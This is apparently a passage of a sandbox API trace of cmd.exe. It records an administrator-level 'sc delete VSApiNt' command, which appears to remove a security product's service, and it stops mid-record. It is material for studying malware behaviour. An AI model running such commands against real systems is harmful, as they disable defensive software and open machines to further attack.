lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0079.217] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0079.217] GetProcessHeap () returned 0x240000 [0079.218] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0079.218] GetProcessHeap () returned 0x240000 [0079.218] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0079.218] GetProcessHeap () returned 0x240000 [0079.218] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0079.218] GetProcessHeap () returned 0x240000 [0079.218] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0079.218] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0079.218] GetProcessHeap () returned 0x240000 [0079.218] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259b30 [0079.218] GetProcessHeap () returned 0x240000 [0079.218] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b30, Size=0x7e) returned 0x259b30 [0079.218] GetProcessHeap () returned 0x240000 [0079.218] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b30) returned 0x7e [0079.218] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0079.218] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0079.218] GetLastError () returned 0x2 [0079.218] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0079.219] GetLastError () returned 0x2 [0079.219] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0079.219] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x25ba10 [0079.219] FindClose (in: hFindFile=0x25ba10 | out: hFindFile=0x25ba10) returned 1 [0079.219] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0079.219] GetLastError () returned 0x2 [0079.219] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x25ba10 [0079.220] FindClose (in: hFindFile=0x25ba10 | out: hFindFile=0x25ba10) returned 1 [0079.220] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0079.220] GetProcessHeap () returned 0x240000 [0079.220] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0079.220] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0079.220] GetProcessHeap () returned 0x240000 [0079.220] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0x9c) returned 0x259180 [0079.220] GetProcessHeap () returned 0x240000 [0079.220] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0x9c [0079.220] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete VSApiNt") returned 1 [0079.221] GetProcessHeap () returned 0x240000 [0079.221] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0079.221] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0079.221] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0079.221] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0079.221] GetProcessHeap () returned 0x240000 [0079.221] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0079.221] GetProcessHeap () returned 0x240000 [0079.221] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0079.221] GetProcessHeap () returned 0x240000 [0079.222] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2589d0 [0079.222] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete VSApiNt", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete VSApiNt", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete VSApiNt", lpProcessInformation=0x1af360*(hProcess=0x54, hThread=0x50, dwProcessId=0x5e4, dwThreadId=0x290)) returned 1 [0079.229] CloseHandle (hObject=0x50) returned 1 [0079.229] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0079.229] GetProcessHeap () returned 0x240000 [0079.229] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba70 | out: hHeap=0x240000) returned 1 [0079.229] GetEnvironmentStringsW () returned 0x261b10* [0079.229] GetProcessHeap () returned 0x240000 [0079.229] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0079.229] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0079.229] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0079.230] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdf000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0079.230] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0079.284] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0079.284] CloseHandle (hObject=0x54) returned 1 [0079.284] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0079.284] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0079.284] GetProcessHeap () returned 0x240000 [0079.284] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0079.284] GetEnvironmentStringsW () returned 0x261b10* [0079.284] GetProcessHeap () returned 0x240000 [0079.284] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0079.284] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0079.284] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0079.284] GetProcessHeap () returned 0x240000 [0079.284] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0079.284] GetEnvironmentStringsW () returned 0x261b10* [0079.284] GetProcessHeap () returned 0x240000 [0079.284] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0079.285] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0079.285] GetProcessHeap () returned 0x240000 [0079.285] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589d0 | out: hHeap=0x240000) returned 1 [0079.285] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0079.285] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0079.285] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.285] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0079.286] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.286] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0079.286] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.286] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0079.286] GetConsoleOutputCP () returned 0x1b5 [0079.286] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0079.286] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0079.286] GetProcessHeap () returned 0x240000 [0079.286] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0079.286] GetProcessHeap () returned 0x240000 [0079.286] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0079.287] GetProcessHeap () returned 0x240000 [0079.287] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0079.287] GetProcessHeap () returned 0x240000 [0079.287] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c590 | out: hHeap=0x240000) returned 1 [0079.287] GetProcessHeap () returned 0x240000 [0079.287] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256550 | out: hHeap=0x240000) returned 1 [0079.287] GetProcessHeap () returned 0x240000 [0079.287] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0079.287] GetProcessHeap () returned 0x240000 [0079.287] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256510 | out: hHeap=0x240000) returned 1 [0079.287] GetProcessHeap () returned 0x240000 [0079.287] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0079.287] GetProcessHeap () returned 0x240000 [0079.287] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264660 | out: hHeap=0x240000) returned 1 [0079.287] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0079.287] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.287] GetFileType (hFile=0x120) returned 0x3 [0079.287] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.287] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0079.287] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0079.287] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0079.287] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0079.287] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0079.288] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0079.288] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.288] GetFileType (hFile=0x120) returned 0x3 [0079.288] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.288] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0079.288] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0079.288] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.288] GetFileType (hFile=0xb8) returned 0x3 [0079.288] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.288] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.288] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.288] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete VSApiNt\nanService\ne\n\n\nA\"\n") returned 1 [0079.288] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.288] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.288] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.288] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete VSApiNt\nanService\ne\n\n\nA\"\n") returned 1 [0079.288] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.288] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.288] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.289] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete VSApiNt\nanService\ne\n\n\nA\"\n") returned 1 [0079.289] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.289] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.289] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.289] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete VSApiNt\nanService\ne\n\n\nA\"\n") returned 1 [0079.289] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.289] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.289] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.289] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete VSApiNt\nanService\ne\n\n\nA\"\n") returned 1 [0079.289] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.289] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.289] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.289] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete VSApiNt\nanService\ne\n\n\nA\"\n") returned 1 [0079.289] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.289] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.289] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.289] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete VSApiNt\nanService\ne\n\n\nA\"\n") returned 1 [0079.290] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.290] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.290] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.290] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te VSApiNt\nanService\ne\n\n\nA\"\n") returned 1 [0079.290] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.290] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.290] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.290] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e VSApiNt\nanService\ne\n\n\nA\"\n") returned 1 [0079.290] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.290] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.290] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.290] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" VSApiNt\nanService\ne\n\n\nA\"\n") returned 1 [0079.290] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.290] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.290] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.290] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="TSApiNt\nanService\ne\n\n\nA\"\n") returned 1 [0079.290] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.290] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.290] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.291] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="mApiNt\nanService\ne\n\n\nA\"\n") returned 1 [0079.291] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.291] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.291] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.291] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="CpiNt\nanService\ne\n\n\nA\"\n") returned 1 [0079.291] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.291] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.291] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.291] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="CiNt\nanService\ne\n\n\nA\"\n") returned 1 [0079.291] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.291] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.291] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.291] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="SNt\nanService\ne\n\n\nA\"\n") returned 1 [0079.291] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.291] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.291] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.291] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="Ft\nanService\ne\n\n\nA\"\n") returned 1 [0079.291] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.291] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.291] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.292] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="\n\nanService\ne\n\n\nA\"\n") returned 1 [0079.292] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.292] GetFileType (hFile=0xb8) returned 0x3 [0079.292] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.292] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.292] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.292] GetFileType (hFile=0x120) returned 0x3 [0079.292] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.292] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete 